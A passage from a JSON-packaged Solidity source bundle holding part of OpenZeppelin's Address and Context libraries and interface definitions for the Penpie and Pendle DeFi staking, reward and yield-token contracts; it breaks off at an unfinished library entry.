https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"contracts/interfaces/IBaseRewardPool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IBaseRewardPool {\n function stakingDecimals() external view returns (uint256);\n\n function totalStaked() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function rewardPerToken(address token) external view returns (uint256);\n\n function rewardTokenInfos()\n external\n view\n returns\n (\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols\n );\n\n function earned(address account, address token)\n external\n view\n returns (uint256);\n\n function allEarned(address account)\n external\n view\n returns (uint256[] memory pendingBonusRewards);\n\n function queueNewRewards(uint256 _rewards, address token)\n external\n returns (bool);\n\n function getReward(address _account, address _receiver) external returns (bool);\n\n function getRewards(address _account, address _receiver, address[] memory _rewardTokens) external;\n\n function updateFor(address account) external;\n\n function updateRewardQueuer(address _rewardManager, bool _allowed) external;\n}"
},
"contracts/interfaces/IBribeRewardDistributor.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface IBribeRewardDistributor {\n struct Claimable {\n address token;\n uint256 amount;\n }\n\n struct Claim {\n address token;\n address account;\n uint256 amount;\n bytes32[] merkleProof;\n }\n\n function getClaimable(Claim[] calldata _claims) external view returns(Claimable[] memory);\n\n function claim(Claim[] calldata _claims) external;\n}"
},
"contracts/interfaces/IConvertor.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IConvertor {\n function convert(address _for, uint256 _amount, uint256 _mode) external;\n\n function convertFor(\n uint256 _amountIn,\n uint256 _convertRatio,\n uint256 _minRec,\n address _for,\n uint256 _mode\n ) external;\n\n function smartConvertFor(uint256 _amountIn, uint256 _mode, address _for) external returns (uint256 obtainedmWomAmount);\n\n function mPendleSV() external returns (address);\n\n function mPendleConvertor() external returns (address);\n}"
},
"contracts/interfaces/IETHZapper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IETHZapper {\n function swapExactTokensToETH(\n address tokenIn,\n uint tokenAmountIn,\n uint256 _amountOutMin,\n address amountReciever\n ) external;\n}\n"
},
"contracts/interfaces/IMasterPenpie.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity =0.8.19;\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\nimport \"./IBribeRewardDistributor.sol\";\n\ninterface IMasterPenpie {\n function poolLength() external view returns (uint256);\n\n function setPoolManagerStatus(address _address, bool _bool) external;\n\n function add(uint256 _allocPoint, address _stakingTokenToken, address _receiptToken, address _rewarder) external;\n\n function set(address _stakingToken, uint256 _allocPoint, address _helper,\n address _rewarder, bool _helperNeedsHarvest) external;\n\n function createRewarder(address _stakingTokenToken, address mainRewardToken) external\n returns (address);\n\n // View function to see pending GMPs on frontend.\n function getPoolInfo(address token) external view\n returns (\n uint256 emission,\n uint256 allocpoint,\n uint256 sizeOfPool,\n uint256 totalPoint\n );\n\n function pendingTokens(address _stakingToken, address _user, address token) external view\n returns (\n uint256 _pendingGMP,\n address _bonusTokenAddress,\n string memory _bonusTokenSymbol,\n uint256 _pendingBonusToken\n );\n \n function allPendingTokensWithBribe(\n address _stakingToken,\n address _user,\n IBribeRewardDistributor.Claim[] calldata _proof\n )\n external\n view\n returns (\n uint256 pendingPenpie,\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols,\n uint256[] memory pendingBonusRewards\n );\n\n function allPendingTokens(address _stakingToken, address _user) external view\n returns (\n uint256 pendingPenpie,\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols,\n uint256[] memory pendingBonusRewards\n );\n\n function massUpdatePools() external;\n\n function updatePool(address _stakingToken) external;\n\n function deposit(address _stakingToken, uint256 _amount) external;\n\n function depositFor(address _stakingToken, address _for, uint256 _amount) external;\n\n function withdraw(address _stakingToken, uint256 _amount) external;\n\n function beforeReceiptTokenTransfer(address _from, address _to, uint256 _amount) external;\n\n function afterReceiptTokenTransfer(address _from, address _to, uint256 _amount) external;\n\n function depositVlPenpieFor(uint256 _amount, address sender) external;\n\n function withdrawVlPenpieFor(uint256 _amount, address sender) external;\n\n function depositMPendleSVFor(uint256 _amount, address sender) external;\n\n function withdrawMPendleSVFor(uint256 _amount, address sender) external; \n\n function multiclaimFor(address[] calldata _stakingTokens, address[][] calldata _rewardTokens, address user_address) external;\n\n function multiclaimOnBehalf(address[] memory _stakingTokens, address[][] calldata _rewardTokens, address user_address, bool _isClaimPNP) external;\n\n function multiclaim(address[] calldata _stakingTokens) external;\n\n function emergencyWithdraw(address _stakingToken, address sender) external;\n\n function updateEmissionRate(uint256 _gmpPerSec) external;\n\n function stakingInfo(address _stakingToken, address _user)\n external\n view\n returns (uint256 depositAmount, uint256 availableAmount);\n \n function totalTokenStaked(address _stakingToken) external view returns (uint256);\n\n function getRewarder(address _stakingToken) external view returns (address rewarder);\n\n}"
},
"contracts/interfaces/IMintableERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\n\npragma solidity =0.8.19;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IMintableERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount)\n external\n returns (bool);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender)\n external\n view\n returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function mint(address, uint256) external;\n function faucet(uint256) external;\n\n function burn(address, uint256) external;\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}"
},
"contracts/interfaces/IPendleStaking.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport \"../libraries/MarketApproxLib.sol\";\nimport \"../libraries/ActionBaseMintRedeem.sol\";\n\ninterface IPendleStaking {\n\n function WETH() external view returns (address);\n\n function convertPendle(uint256 amount, uint256[] calldata chainid) external payable returns (uint256);\n\n function vote(address[] calldata _pools, uint64[] calldata _weights) external;\n\n function depositMarket(address _market, address _for, address _from, uint256 _amount) external;\n\n function withdrawMarket(address _market, address _for, uint256 _amount) external;\n\n function harvestMarketReward(address _lpAddress, address _callerAddress, uint256 _minEthRecive) external;\n}\n"
},
"contracts/interfaces/IPenpieBribeManager.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPenpieBribeManager {\n struct Pool {\n address _market;\n bool _active;\n uint256 _chainId;\n }\n\n function pools(uint256) external view returns(Pool memory);\n function marketToPid(address _market) external view returns(uint256);\n function exactCurrentEpoch() external view returns(uint256);\n function getEpochEndTime(uint256 _epoch) external view returns(uint256 endTime);\n function addBribeERC20(uint256 _batch, uint256 _pid, address _token, uint256 _amount) external;\n function addBribeNative(uint256 _batch, uint256 _pid) external payable;\n function getPoolLength() external view returns(uint256);\n}"
},
"contracts/interfaces/ISmartPendleConvert.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\ninterface ISmartPendleConvert {\n \n function smartConvert(uint256 _amountIn, uint256 _mode) external returns (uint256);\n\n}\n"
},
"contracts/interfaces/IWETH.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface IWETH is IERC20 {\n event Deposit(address indexed dst, uint256 wad);\n event Withdrawal(address indexed src, uint256 wad);\n\n function deposit() external payable;\n\n function withdraw(uint256 wad) external;\n}"
},
"contracts/interfaces/pendle/IPBulkSeller.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"../../libraries/BulkSellerMathCore.sol\";\n\ninterface IPBulkSeller {\n event SwapExactTokenForSy(address receiver, uint256 netTokenIn, uint256 netSyOut);\n event SwapExactSyForToken(address receiver, uint256 netSyIn, uint256 netTokenOut);\n event RateUpdated(\n uint256 newRateTokenToSy,\n uint256 newRateSyToToken,\n uint256 oldRateTokenToSy,\n uint256 oldRateSyToToken\n );\n event ReBalanceTokenToSy(\n uint256 netTokenDeposit,\n uint256 netSyFromToken,\n uint256 newTokenProp,\n uint256 oldTokenProp\n );\n event ReBalanceSyToToken(\n uint256 netSyRedeem,\n uint256 netTokenFromSy,\n uint256 newTokenProp,\n uint256 oldTokenProp\n );\n event ReserveUpdated(uint256 totalToken, uint256 totalSy);\n event FeeRateUpdated(uint256 newFeeRate, uint256 oldFeeRate);\n\n function swapExactTokenForSy(\n address receiver,\n uint256 netTokenIn,\n uint256 minSyOut\n ) external payable returns (uint256 netSyOut);\n\n function swapExactSyForToken(\n address receiver,\n uint256 exactSyIn,\n uint256 minTokenOut,\n bool swapFromInternalBalance\n ) external returns (uint256 netTokenOut);\n\n function SY() external view returns (address);\n\n function token() external view returns (address);\n\n function readState() external view returns (BulkSellerState memory);\n}\n"
},
"contracts/interfaces/pendle/IPendleMarket.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"./IPPrincipalToken.sol\";\nimport \"./IStandardizedYield.sol\";\nimport \"./IPYieldToken.sol\";\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\n\ninterface IPendleMarket is IERC20Metadata {\n\n function readTokens() external view returns (\n IStandardizedYield _SY,\n IPPrincipalToken _PT,\n IPYieldToken _YT\n );\n\n function rewardState(address _rewardToken) external view returns (\n uint128 index,\n uint128 lastBalance\n );\n\n function userReward(address token, address user) external view returns (\n uint128 index, uint128 accrued\n );\n\n function redeemRewards(address user) external returns (uint256[] memory);\n\n function getRewardTokens() external view returns (address[] memory);\n}"
},
"contracts/interfaces/pendle/IPendleMarketDepositHelper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"../../libraries/MarketApproxLib.sol\";\nimport \"../../libraries/ActionBaseMintRedeem.sol\";\n\ninterface IPendleMarketDepositHelper {\n function totalStaked(address _market) external view returns (uint256);\n function balance(address _market, address _address) external view returns (uint256);\n function depositMarket(address _market, uint256 _amount) external;\n function depositMarketFor(address _market, address _for, uint256 _amount) external;\n function withdrawMarket(address _market, uint256 _amount) external;\n function withdrawMarketWithClaim(address _market, uint256 _amount, bool _doClaim) external;\n function harvest(address _market, uint256 _minEthToRecieve) external;\n function setPoolInfo(address poolAddress, address rewarder, bool isActive) external;\n function setOperator(address _address, bool _value) external;\n function setmasterPenpie(address _masterPenpie) external;\n}\n"
},
"contracts/interfaces/pendle/IPendleRouter.sol": {
"content": "// SPDX-License-Identifier:MIT\npragma solidity =0.8.19;\n\ninterface IPendleRouter {\n struct SwapData {\n SwapType swapType;\n address extRouter;\n bytes extCalldata;\n bool needScale;\n }\n\n enum SwapType {\n NONE,\n KYBERSWAP,\n ONE_INCH,\n // ETH_WETH not used in Aggregator\n ETH_WETH\n }\n\n struct ApproxParams {\n uint256 guessMin;\n uint256 guessMax;\n uint256 guessOffchain;\n uint256 maxIteration;\n uint256 eps;\n }\n\n struct TokenInput {\n // Token/Sy data\n address tokenIn;\n uint256 netTokenIn;\n address tokenMintSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n }\n\n struct TokenOutput {\n // Token/Sy data\n address tokenOut;\n uint256 minTokenOut;\n address tokenRedeemSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n }\n\n function addLiquiditySingleToken(\n address receiver,\n address market,\n uint256 minLpOut,\n ApproxParams calldata guessPtReceivedFromSy,\n TokenInput calldata input\n ) external payable returns (uint256 netLpOut, uint256 netSyFee);\n\n function redeemDueInterestAndRewards(\n address user,\n address[] calldata sys,\n address[] calldata yts,\n address[] calldata markets\n ) external;\n}\n"
},
"contracts/interfaces/pendle/IPFeeDistributorV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPFeeDistributorV2 {\n event SetMerkleRootAndFund(bytes32 indexed merkleRoot, uint256 amountFunded);\n\n event Claimed(address indexed user, uint256 amountOut);\n\n event UpdateProtocolClaimable(address indexed user, uint256 sumTopUp);\n\n struct UpdateProtocolStruct {\n address user;\n bytes32[] proof;\n address[] pools;\n uint256[] topUps;\n }\n\n /**\n * @notice submit total ETH accrued & proof to claim the outstanding amount. Intended to be\n used by retail users\n */\n function claimRetail(\n address receiver,\n uint256 totalAccrued,\n bytes32[] calldata proof\n ) external returns (uint256 amountOut);\n\n /**\n * @notice Protocols that require the use of this function & feeData should contact the Pendle team.\n * @notice Protocols should NOT EVER use claimRetail. Using it will make getProtocolFeeData unreliable.\n */\n function claimProtocol(address receiver, address[] calldata pools)\n external\n returns (uint256 totalAmountOut, uint256[] memory amountsOut);\n\n /**\n * @notice returns the claimable fees per pool. Only available if the Pendle team has specifically\n set up the data\n */\n function getProtocolClaimables(address user, address[] calldata pools)\n external\n view\n returns (uint256[] memory claimables);\n\n function getProtocolTotalAccrued(address user) external view returns (uint256);\n}"
},
"contracts/interfaces/pendle/IPInterestManagerYT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPInterestManagerYT {\n function userInterest(\n address user\n ) external view returns (uint128 lastPYIndex, uint128 accruedInterest);\n}\n"
},
"contracts/interfaces/pendle/IPPrincipalToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\ninterface IPPrincipalToken is IERC20Metadata {\n function burnByYT(address user, uint256 amount) external;\n\n function mintByYT(address user, uint256 amount) external;\n\n function initialize(address _YT) external;\n\n function SY() external view returns (address);\n\n function YT() external view returns (address);\n\n function factory() external view returns (address);\n\n function expiry() external view returns (uint256);\n\n function isExpired() external view returns (bool);\n}\n"
},
"contracts/interfaces/pendle/IPSwapAggregator.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nstruct SwapData {\n SwapType swapType;\n address extRouter;\n bytes extCalldata;\n bool needScale;\n}\n\nenum SwapType {\n NONE,\n KYBERSWAP,\n ONE_INCH,\n // ETH_WETH not used in Aggregator\n ETH_WETH\n}\n\ninterface IPSwapAggregator {\n function swap(address tokenIn, uint256 amountIn, SwapData calldata swapData) external payable;\n}\n"
},
"contracts/interfaces/pendle/IPVeToken.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity =0.8.19;\n\ninterface IPVeToken {\n // ============= USER INFO =============\n\n function balanceOf(address user) external view returns (uint128);\n\n function positionData(address user) external view returns (uint128 amount, uint128 expiry);\n\n // ============= META DATA =============\n\n function totalSupplyStored() external view returns (uint128);\n\n function totalSupplyCurrent() external returns (uint128);\n\n function totalSupplyAndBalanceCurrent(address user) external returns (uint128, uint128);\n}"
},
"contracts/interfaces/pendle/IPVoteController.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity =0.8.19;\n\nimport \"../../libraries/VeBalanceLib.sol\";\n\ninterface IPVoteController {\n struct UserPoolData {\n uint64 weight;\n VeBalance vote;\n }\n\n struct UserData {\n uint64 totalVotedWeight;\n mapping(address => UserPoolData) voteForPools;\n }\n\n function getUserData(\n address user,\n address[] calldata pools\n )\n external\n view\n returns (uint64 totalVotedWeight, UserPoolData[] memory voteForPools);\n\n function getUserPoolVote(\n address user,\n address pool\n ) external view returns (UserPoolData memory);\n\n function getAllActivePools() external view returns (address[] memory);\n\n function vote(address[] calldata pools, uint64[] calldata weights) external;\n\n function broadcastResults(uint64 chainId) external payable;\n}\n"
},
"contracts/interfaces/pendle/IPVotingEscrowMainchain.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity =0.8.19;\n\nimport \"./IPVeToken.sol\";\nimport \"../../libraries/VeBalanceLib.sol\";\nimport \"../../libraries/VeHistoryLib.sol\";\n\ninterface IPVotingEscrowMainchain is IPVeToken {\n event NewLockPosition(address indexed user, uint128 amount, uint128 expiry);\n\n event Withdraw(address indexed user, uint128 amount);\n\n event BroadcastTotalSupply(VeBalance newTotalSupply, uint256[] chainIds);\n\n event BroadcastUserPosition(address indexed user, uint256[] chainIds);\n\n // ============= ACTIONS =============\n\n function increaseLockPosition(\n uint128 additionalAmountToLock,\n uint128 expiry\n ) external returns (uint128);\n\n function increaseLockPositionAndBroadcast(\n uint128 additionalAmountToLock,\n uint128 newExpiry,\n uint256[] calldata chainIds\n ) external payable returns (uint128 newVeBalance);\n\n function withdraw() external returns (uint128);\n\n function totalSupplyAt(uint128 timestamp) external view returns (uint128);\n\n function getUserHistoryLength(address user) external view returns (uint256);\n\n function getUserHistoryAt(\n address user,\n uint256 index\n ) external view returns (Checkpoint memory);\n\n function broadcastUserPosition(address user, uint256[] calldata chainIds) external payable;\n \n function getBroadcastPositionFee(uint256[] calldata chainIds) external view returns (uint256 fee);\n\n}\n"
},
"contracts/interfaces/pendle/IPYieldToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IRewardManager.sol\";\nimport \"./IPInterestManagerYT.sol\";\n\ninterface IPYieldToken is IERC20Metadata, IRewardManager, IPInterestManagerYT {\n event NewInterestIndex(uint256 indexed newIndex);\n\n event Mint(\n address indexed caller,\n address indexed receiverPT,\n address indexed receiverYT,\n uint256 amountSyToMint,\n uint256 amountPYOut\n );\n\n event Burn(\n address indexed caller,\n address indexed receiver,\n uint256 amountPYToRedeem,\n uint256 amountSyOut\n );\n\n event RedeemRewards(address indexed user, uint256[] amountRewardsOut);\n\n event RedeemInterest(address indexed user, uint256 interestOut);\n\n event WithdrawFeeToTreasury(uint256[] amountRewardsOut, uint256 syOut);\n\n function mintPY(address receiverPT, address receiverYT) external returns (uint256 amountPYOut);\n\n function redeemPY(address receiver) external returns (uint256 amountSyOut);\n\n function redeemPYMulti(\n address[] calldata receivers,\n uint256[] calldata amountPYToRedeems\n ) external returns (uint256[] memory amountSyOuts);\n\n function redeemDueInterestAndRewards(\n address user,\n bool redeemInterest,\n bool redeemRewards\n ) external returns (uint256 interestOut, uint256[] memory rewardsOut);\n\n function rewardIndexesCurrent() external returns (uint256[] memory);\n\n function pyIndexCurrent() external returns (uint256);\n\n function pyIndexStored() external view returns (uint256);\n\n function getRewardTokens() external view returns (address[] memory);\n\n function SY() external view returns (address);\n\n function PT() external view returns (address);\n\n function factory() external view returns (address);\n\n function expiry() external view returns (uint256);\n\n function isExpired() external view returns (bool);\n\n function doCacheIndexSameBlock() external view returns (bool);\n}\n"
},
"contracts/interfaces/pendle/IRewardManager.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IRewardManager {\n function userReward(\n address token,\n address user\n ) external view returns (uint128 index, uint128 accrued);\n}\n"
},
"contracts/interfaces/pendle/IStandardizedYield.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity =0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\ninterface IStandardizedYield is IERC20Metadata {\n /// @dev Emitted when any base tokens is deposited to mint shares\n event Deposit(\n address indexed caller,\n address indexed receiver,\n address indexed tokenIn,\n uint256 amountDeposited,\n uint256 amountSyOut\n );\n\n /// @dev Emitted when any shares are redeemed for base tokens\n event Redeem(\n address indexed caller,\n address indexed receiver,\n address indexed tokenOut,\n uint256 amountSyToRedeem,\n uint256 amountTokenOut\n );\n\n /// @dev check `assetInfo()` for more information\n enum AssetType {\n TOKEN,\n LIQUIDITY\n }\n\n /// @dev Emitted when (`user`) claims their rewards\n event ClaimRewards(address indexed user, address[] rewardTokens, uint256[] rewardAmounts);\n\n /**\n * @notice mints an amount of shares by depositing a base token.\n * @param receiver shares recipient address\n * @param tokenIn address of the base tokens to mint shares\n * @param amountTokenToDeposit amount of base tokens to be transferred from (`msg.sender`)\n * @param minSharesOut reverts if amount of shares minted is lower than this\n * @return amountSharesOut amount of shares minted\n * @dev Emits a {Deposit} event\n *\n * Requirements:\n * - (`tokenIn`) must be a valid base token.\n */\n function deposit(\n address receiver,\n address tokenIn,\n uint256 amountTokenToDeposit,\n uint256 minSharesOut\n ) external payable returns (uint256 amountSharesOut);\n\n /**\n * @notice redeems an amount of base tokens by burning some shares\n * @param receiver recipient address\n * @param amountSharesToRedeem amount of shares to be burned\n * @param tokenOut address of the base token to be redeemed\n * @param minTokenOut reverts if amount of base token redeemed is lower than this\n * @param burnFromInternalBalance if true, burns from balance of `address(this)`, otherwise burns from `msg.sender`\n * @return amountTokenOut amount of base tokens redeemed\n * @dev Emits a {Redeem} event\n *\n * Requirements:\n * - (`tokenOut`) must be a valid base token.\n */\n function redeem(\n address receiver,\n uint256 amountSharesToRedeem,\n address tokenOut,\n uint256 minTokenOut,\n bool burnFromInternalBalance\n ) external returns (uint256 amountTokenOut);\n\n /**\n * @notice exchangeRate * syBalance / 1e18 must return the asset balance of the account\n * @notice vice-versa, if a user uses some amount of tokens equivalent to X asset, the amount of sy\n he can mint must be X * exchangeRate / 1e18\n * @dev SYUtils's assetToSy & syToAsset should be used instead of raw multiplication\n & division\n */\n function exchangeRate() external view returns (uint256 res);\n\n /**\n * @notice claims reward for (`user`)\n * @param user the user receiving their rewards\n * @return rewardAmounts an array of reward amounts in the same order as `getRewardTokens`\n * @dev\n * Emits a `ClaimRewards` event\n * See {getRewardTokens} for list of reward tokens\n */\n function claimRewards(address user) external returns (uint256[] memory rewardAmounts);\n\n /**\n * @notice get the amount of unclaimed rewards for (`user`)\n * @param user the user to check for\n * @return rewardAmounts an array of reward amounts in the same order as `getRewardTokens`\n */\n function accruedRewards(address user) external view returns (uint256[] memory rewardAmounts);\n\n function rewardIndexesCurrent() external returns (uint256[] memory indexes);\n\n function rewardIndexesStored() external view returns (uint256[] memory indexes);\n\n /**\n * @notice returns the list of reward token addresses\n */\n function getRewardTokens() external view returns (address[] memory);\n\n /**\n * @notice returns the address of the underlying yield token\n */\n function yieldToken() external view returns (address);\n\n /**\n * @notice returns all tokens that can mint this SY\n */\n function getTokensIn() external view returns (address[] memory res);\n\n /**\n * @notice returns all tokens that can be redeemed by this SY\n */\n function getTokensOut() external view returns (address[] memory res);\n\n function isValidTokenIn(address token) external view returns (bool);\n\n function isValidTokenOut(address token) external view returns (bool);\n\n function previewDeposit(\n address tokenIn,\n uint256 amountTokenToDeposit\n ) external view returns (uint256 amountSharesOut);\n\n function previewRedeem(\n address tokenOut,\n uint256 amountSharesToRedeem\n ) external view returns (uint256 amountTokenOut);\n\n /**\n * @notice This function contains information to interpret what the asset is\n * @return assetType the type of the asset (0 for ERC20 tokens, 1 for AMM liquidity tokens)\n * @return assetAddress the address of the asset\n * @return assetDecimals the decimals of the asset\n */\n function assetInfo()\n external\n view\n returns (AssetType assetType, address assetAddress, uint8 assetDecimals);\n}\n"
},
"contracts/libraries/ActionBaseMintRedeem.sol": {
